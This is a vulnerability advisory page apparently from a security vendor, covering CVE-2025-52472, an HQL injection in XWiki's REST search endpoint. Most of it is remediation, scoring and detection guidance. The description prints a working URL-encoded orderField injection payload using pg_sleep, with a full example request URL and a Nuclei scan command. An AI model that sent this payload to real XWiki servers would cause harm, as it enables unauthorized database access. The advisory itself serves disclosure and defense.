How severe is CVE-2025-52472?

No CVSS score has been assigned to CVE-2025-52472 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by CVE-2025-52472?

CVE-2025-52472 affects the following packages: org.xwiki.platform:xwiki-platform-rest-server (Maven), org.xwiki.platform:xwiki-platform-rest-server (Maven). Ecosystems affected: Maven.

How do I fix CVE-2025-52472?

Update org.xwiki.platform:xwiki-platform-rest-server to 17.4.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-52472 is resolved across your whole dependency graph.

How do I detect CVE-2025-52472 in my Maven dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.xwiki.platform:xwiki-platform-rest-server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2025-52472 if there is no patch (or I can't update yet)?

Until you can upgrade, make sure every query built from user input uses parameterised statements or a prepared-statement API rather than string concatenation, and reduce the database account's privileges so an injected query cannot read or alter data beyond what the feature needs.

Is CVE-2025-52472 actively exploited in the wild?

No public exploit code has been indexed for CVE-2025-52472 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2025-52472?

CVE-2025-52472 has an EPSS (Exploit Prediction Scoring System) score of 2.4%, placing it in the 84th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2025-52472?

CVE-2025-52472 is classified as SQL Injection (CWE-89). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

Is there exploit tooling available for CVE-2025-52472?

A Nuclei detection template exists for CVE-2025-52472, meaning automated scanners can fingerprint it. Public exploit tooling significantly increases real-world risk — prioritize patching and ensure detection coverage. Exploit tooling should only ever be used in isolated, authorized testing environments.

When was CVE-2025-52472 published, and has it been updated?

CVE-2025-52472 was published on October 6, 2025 and was last updated on October 28, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

☕ Maven

Not in CISA KEV

CVE-2025-52472 — xwiki-platform-rest-server

Fix: xwiki/xwiki-platform@743ebf8

CVE-2025-52472 is a SQL Injection vulnerability in org.xwiki.platform:xwiki-platform-rest-server. A fix is available for org.xwiki.platform:xwiki-platform-rest-server — see the affected versions and patch details below.

XWiki Platform vulnerable to HQL injection via wiki and space search REST API

Also known asGHSA-gprp-h92g-gc2h

Published

Oct 6, 2025

Updated

Oct 28, 2026

Affected

2 pkgs

Patched

2 / 2

Exploits

None indexed

Exploitation data as of Nov 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
A successful exploit gives an attacker total control of the affected component, not partial access.
CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-52472.

EPSS Exploitation Probability

via FIRST.org ↗

2.4%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs84th percentile — riskier than 84% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

2 pkgs affected

☕org.xwiki.platform:xwiki-platform-rest-server☕org.xwiki.platform:xwiki-platform-rest-server

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Impact

The REST search URL is vulnerable to HQL injection via the orderField parameter. The specified value is added twice in the query, though, once in the field list for the select and once in the order clause, so it's not that easy to exploit. The part of the query between the two fields can be enclosed in single quotes to effectively remove them, but the query still needs to remain valid with the query two times in it.

For example, with the following orderField parameter:

doc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D'%24%24%3Dconcat(chr(61)%2Cchr(39))%20and%20version()%7C%7Cpg_sleep(1)%3Dversion()%7C%7Cpg_sleep(1)%20and%20(1%3D1%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F)%20--%20comment'%20or%20a%3D'%20order%20by%20doc.fullName

See the following error:

QuerySyntaxException: unexpected token: $$ near line 1, column 518 [select distinct doc.fullName, doc.space, doc.name, doc.language, doc.doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc where (doc.hidden <> true or doc.hidden is null) and ($$='$$=concat(chr(61),chr(39)) and version()||pg_sleep(1)=version()||pg_sleep(1) and (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment' or a=') order by doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc  where ( (upper(doc.title) like :keywords) ) order by doc.doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc where $$='$$=concat(chr(61),chr(39)) and version()||pg_sleep(1)=version()||pg_sleep(1) and (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment' or a=' order by doc.fullName asc]

For reference, the full URL for the above error is:

http://localhost:8080/xwiki/rest/wikis/xwiki/search?q=test&scope=title&orderField=doc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D%27%24%24%3Dconcat(chr(61)%2Cchr(39))%20and%20version()%7C%7Cpg_sleep(1)%3Dversion()%7C%7Cpg_sleep(1)%20and%20(1%3D1%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F)%20--%20comment%27%20or%20a%3D%27%20order%20by%20doc.fullName

Patches

This has been patched in 17.5.0, 17.4.2, 16.10.9.

Workarounds

There is no known workaround, other than upgrading XWiki.

Resources

For more information

If you have any questions or comments about this advisory:

Open an issue in Jira XWiki.org
Email us at Security Mailing List

Affected Packages

2 total 2 fixed

Ecosystem	Package	Vulnerable range	Fix
☕Maven	`org.xwiki.platform:xwiki-platform-rest-server`	≥ 17.0.0-rc-1&&< 17.4.2	17.4.2`org.xwiki.platform:xwiki-platform-rest-server:17.4.2`
☕Maven	`org.xwiki.platform:xwiki-platform-rest-server`	≥ 4.3-milestone-1&&< 16.10.9	16.10.9`org.xwiki.platform:xwiki-platform-rest-server:16.10.9`

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.xwiki.platform:xwiki-platform-rest-server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update org.xwiki.platform:xwiki-platform-rest-server to 17.4.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-52472 is resolved across your whole dependency graph.
Workarounds
Until you can upgrade, make sure every query built from user input uses parameterised statements or a prepared-statement API rather than string concatenation, and reduce the database account's privileges so an injected query cannot read or alter data beyond what the feature needs.

How to detect CVE-2025-52472

A community-maintained Nuclei template exists for this CVE. You can scan for it directly:

nuclei -id cve-2025-52472 -u https://target

Template: XWiki - HQL Injection
Severity: high
Impact: Unauthenticated attackers can inject malicious HQL queries through the orderField parameter, potentially leading to complete database compromise, data extraction, authentication bypass, or remote code execution.
Remediation: Update XWiki to a version that patches this vulnerability. Review and sanitize all user-controlled parameters that are used in database queries, especially those passed to HQL queries.

Template by ProjectDiscovery nuclei-templates (ritikchaddha), MIT licensed. View the full template. Scan only systems you are authorised to test.

Frequently Asked Questions

### Impact The REST search URL is vulnerable to HQL injection via the `orderField` parameter. The specified value is added twice in the query, though, once in the field list for the select and once in the order clause, so it's not that easy to exploit. The part of the query between the two fields can be enclosed in single quotes to effectively remove them, but the query still needs to remain valid with the query two times in it. For example, with the following `orderField` parameter: ``` doc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D'%24%24%3Dconcat(chr(61)%2Cchr(39))%20

O3 Security · Impact-Aware SCA

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